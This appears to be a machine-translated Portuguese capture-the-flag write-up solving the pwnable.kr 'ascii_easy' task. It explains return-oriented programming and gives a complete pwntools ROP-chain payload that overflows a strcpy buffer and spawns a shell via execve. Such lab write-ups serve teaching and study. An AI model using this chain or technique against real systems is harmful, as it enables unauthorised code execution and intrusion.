Neste artigo, resolveremos a 26ª tarefa do site
pwnable.kr e entenderemos o que é ROP, como funciona, por que é tão perigoso e comporemos uma cadeia de ROP com lutadores complicadores adicionais.
Informações OrganizacionaisEspecialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:
- PWN;
- criptografia (criptografia);
- tecnologias de rede (rede);
- reverso (engenharia reversa);
- esteganografia (estegano);
- pesquisa e exploração de vulnerabilidades na WEB.
Além disso, compartilharei minha experiência em computação forense, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.
Para que você possa descobrir sobre novos artigos, software e outras informações, criei um
canal no Telegram e um
grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações
pessoais e responderei a todos .
Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.
Solução de trabalho ascii_easy
Continuamos a segunda seção. Eu direi imediatamente que é mais difícil que o primeiro, mas desta vez eles nos fornecem o código fonte do programa. Não se esqueça da discussão aqui (https://t.me/RalfHackerPublicChat) e aqui (https://t.me/RalfHackerChannel). Vamos começar.
Clique no ícone da legenda ascii_easy. Nos é dado o endereço e a porta para conectar via ssh.

Estamos conectados via SSH e vemos a bandeira, programa, código fonte e biblioteca libc.

Vamos ver o código fonte.
#include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #define BASE ((void*)0x5555e000) int is_ascii(int c){ if(c>=0x20 && c<=0x7f) return 1; return 0; } void vuln(char* p){ char buf[20]; strcpy(buf, p); } void main(int argc, char* argv[]){ if(argc!=2){ printf("usage: ascii_easy [ascii input]\n"); return; } size_t len_file; struct stat st; int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY); if( fstat(fd,&st) < 0){ printf("open error. tell admin!\n"); return; } len_file = st.st_size; if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){ printf("mmap error!. tell admin\n"); return; } int i; for(i=0; i<strlen(argv[1]); i++){ if( !is_ascii(argv[1][i]) ){ printf("you have non-ascii byte!\n"); return; } } printf("triggering bug...\n"); vuln(argv[1]); }
Vamos dividir em blocos. O programa usa uma string como argumento.

Nesse caso, a sequência deve consistir apenas em caracteres ascii.

Uma área de memória com um endereço base conhecido e permissões de leitura, gravação e execução também é alocada. A biblioteca libc é colocada nesta área.

Além de tudo, o programa tem uma função vulnerável.

Além disso, se você verificar o programa, pode garantir que ele tenha uma pilha não executável (parâmetro NX). Vamos decidir compilando o ROP.

Vamos copiar a biblioteca para nós mesmos.
scp -P2222 ascii_easy@pwnable.kr:/home/ascii_easy/libc-2.15.so /root/
Agora você precisa montar a cadeia ROP. Para fazer isso, use a ferramenta
ROP-gadget .
ROPgadget --binary libc-2.15.so > gadgets.txt
No arquivo gadgets.txt, temos todas as cadeias ROP possíveis (o exemplo 10 da primeira é apresentado abaixo).

O problema é que precisamos selecionar aqueles que consistem apenas em caracteres ASCII. Para fazer isso, escrevemos um filtro simples que deixará apenas esses endereços, cada byte pertencente ao intervalo de 0x20 a 0x7f, inclusive.
def addr_check(addr): ret = True for i in range(0,8,2): if int(addr[i:i+2], 16) not in range(0x20, 0x80): ret = False return ret f = open('gadgets.txt', 'rt') old_gadgets = f.read().split('\n')[2:-3] f.close() new_gadgets = "" base_addr = 0x5555e000 for gadget in old_gadgets: addr = base_addr + int(gadget.split(' : ')[0], 16) if addr_check(hex(addr)[2:]): new_gadgets += (hex(addr) + ' :' + ":".join(gadget.split(':')[1:]) + '\n') f = open('new_gadgets.txt', 'wt') f.write(new_gadgets) f.close()
Execute o programa e obtenha uma lista de endereços de gadgets ROP que nos satisfazem.
Gadgets de corda
Muitos pediram mais detalhes sobre programação orientada a retorno. Ok, vamos dar um exemplo com ilustrações. Suponha que tenhamos uma vulnerabilidade de estouro de buffer e uma pilha não executável.
Um gadget ROP é uma coleção de instruções que termina com uma declaração de retorno ret. Como regra, os gadgets escolhem entre os finais das funções. Vamos dar algumas funções como exemplo. Em cada um deles, selecione o gadget ROP (destacado em vermelho).



Assim, temos várias cadeias ROP:
0x000ed7cb: mov eax, edx; pop ebx; pop esi; ret 0x000ed7cd: pop ebx; pop esi; ret 0x000ed7ce: pop esi; ret 0x00033837: pop ebx; ret 0x0010ec1f: add esp, 0x2c; ret
Agora vamos descobrir que tipo de cadeias ROP bestiais são. Quando o buffer excede, podemos reescrever o endereço de retorno. Suponha que no momento em que a instrução ret seja executada na função de destino, ou seja, no topo da pilha haja algum endereço válido.
Por exemplo, queremos executar o seguinte código:
add esp, 0x2c add esp, 0x2c add esp, 0x2c mov eax, edx pop ebx pop esi ret
Devemos reescrever o endereço de retorno válido com os seguintes endereços:
0x0010ec1f 0x0010ec1f 0x0010ec1f 0x000ed7cb
Para entender por que isso funcionará, vamos olhar a imagem abaixo.

Assim, em vez de retornar a um endereço válido, passamos para o primeiro endereço da nossa cadeia ROP. Após executar o primeiro comando, a instrução ret moverá o programa para o próximo endereço na pilha, ou seja, para o segundo comando. O segundo comando também termina com ret, que também se move para o próximo comando, cujo endereço é indicado na pilha. Assim, alcançamos a execução do código que compilamos anteriormente.
Encadeamento ROP para ascii_easy
Primeiro, descobriremos quantos bytes precisamos para estourar o buffer. Execute o programa em gdb e alimente a linha até a entrada.

E o programa falha no endereço "bbbb", o que significa que o preenchimento tem 32 caracteres.
A maneira mais conveniente de usar o ROP é usar a função execve. A conveniência reside na passagem de parâmetros através de registros. Vamos encontrar esta função na biblioteca libc. Isso pode ser feito usando o GDB.

Mas se adicionarmos ao endereço da função o endereço de carregamento da biblioteca na memória, veremos que ele não satisfará a condição ascii.

Mas há outra opção para chamar a função. Isso é através de uma chamada do sistema. No Linux, cada chamada do sistema possui seu próprio número. Este número deve estar localizado no registro EAX, seguido por uma chamada de interrupção int 0x80. A tabela completa do siscall pode ser vista
aqui .

Assim, a função execve tem o número 11, ou seja, o valor 0xb deve estar localizado no registro EAX. Os parâmetros são transferidos através dos registradores EBX - o endereço no início da linha de parâmetros, ECX - o endereço no ponteiro para a linha de parâmetros e EDX - o endereço no ponteiro para as variáveis de ambiente do argumento.

Precisamos passar a string '/ bin / sh' para a função. Para fazer isso, precisaremos gravá-lo no local permitido para gravação e passar o endereço da string como parâmetro. A linha terá que salvar 4 caracteres, ou seja, '/ bin' e '// sh', pois os registros transmitem 4 bytes cada. Para isso, encontrei os seguintes gadgets:
0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x55687b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret
Este gadget:
- Pegue na pilha o endereço para escrever a string e coloque-a no registro edx, anula eax.
- Ele pega um valor da pilha e o coloca em edi.
- Ele copiará o valor de edi para o endereço em edx (gravará nossa linha no endereço desejado).
- Serão necessários mais dois valores da pilha.
Assim, para sua operação, os seguintes valores devem ser transferidos:
0x555f3555 ; memory_addr ; (edx) 4__ ; 4 (edi) 0x55687b3c ; 4__ ; (esi) 4__ ; (edi)
Em seguida, você pode executar os mesmos gadgets para copiar a segunda parte da linha. Não será difícil encontrar o endereço para gravação, pois a biblioteca é carregada em uma área de memória acessível para leitura, gravação e execução.

Quaisquer endereços que satisfaçam a condição ascii podem ser obtidos lá. Peguei o endereço 0x55562023.
Agora precisamos terminar nossa linha com um caractere nulo. Para esta tarefa, eu uso a seguinte cadeia de gadgets:
0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x5560645c : mov dword ptr [edx], eax ; ret
Este gadget:
- Pegue na pilha o endereço da entrada nula e coloque-a no registro edx, anule eax.
- Pegue o valor da pilha.
- Copie o valor de eax zerado para o endereço em edx.
Assim, para o seu funcionamento, é necessário transferir os seguintes valores:
0x555f3555 ; memory_addr+8 ; 0 - (edx) 4__ ; edi 0x5560645c ;
Assim, copiamos nossa string na memória. Em seguida, você precisa preencher os registros para transferir valores. Como o programa “/ bin / sh” chamado execve não terá seus próprios argumentos e variáveis de ambiente, passaremos um ponteiro nulo para eles. No ebx, escrevemos o endereço na linha e no eax, escrevemos 11 - o número do execve siskol. Para isso, encontrei os seguintes gadgets:
0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x556d2a51 : pop ecx ; add al, 0xa ; ret 0x5557734e : pop ebx ; ret 0x556c6864 : inc eax ; ret
Este gadget:
- Coloca um valor da pilha no edx, anula o eax.
- Mova o valor da pilha para edi.
- Mova o valor da pilha para ecx, adicione a zero eax 10.
- Mova o valor da pilha para o ebx.
- Aumente o eax de 10 para 11.
Assim, para o seu funcionamento, é necessário transferir os seguintes valores:
0x555f3555 ; memory_addr+8 ; null (edx) 4__ ; edi 0x556d2a51 ; memory_addr+8 ; null (ecx) 0x5557734e ; memory_addr ; -(ebx) 0x556c6864 ;
E encerramos nossa cadeia ROP com uma exceção.
0x55667176 : inc esi ; int 0x80
Abaixo está um registro geral mais abreviado e acima.

E o código que forma a carga útil.
from pwn import * payload = "a"*32 pop_edx = 0x555f3555 memory_addr = 0x55562023 mov_edx_edi = 0x55687b3c mov_edx_eax = 0x5560645c pop_ecx = 0x556d2a51 pop_ebx = 0x5557734e inc_eax = 0x556c6864 int_80 = 0x55667176 payload += p32(pop_edx) payload += p32(memory_addr) payload += '/bin' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 4) payload += '//sh' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(mov_edx_eax) payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(pop_ecx) payload += p32(memory_addr + 8) payload += p32(pop_ebx) payload += p32(memory_addr) payload += p32(inc_eax) payload += p32(int_80) print(payload)


Francamente, para mim, por algum motivo, foi uma das tarefas mais difíceis deste site ...
Mais e mais complicado ... Você pode se juntar a nós no
Telegram . Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.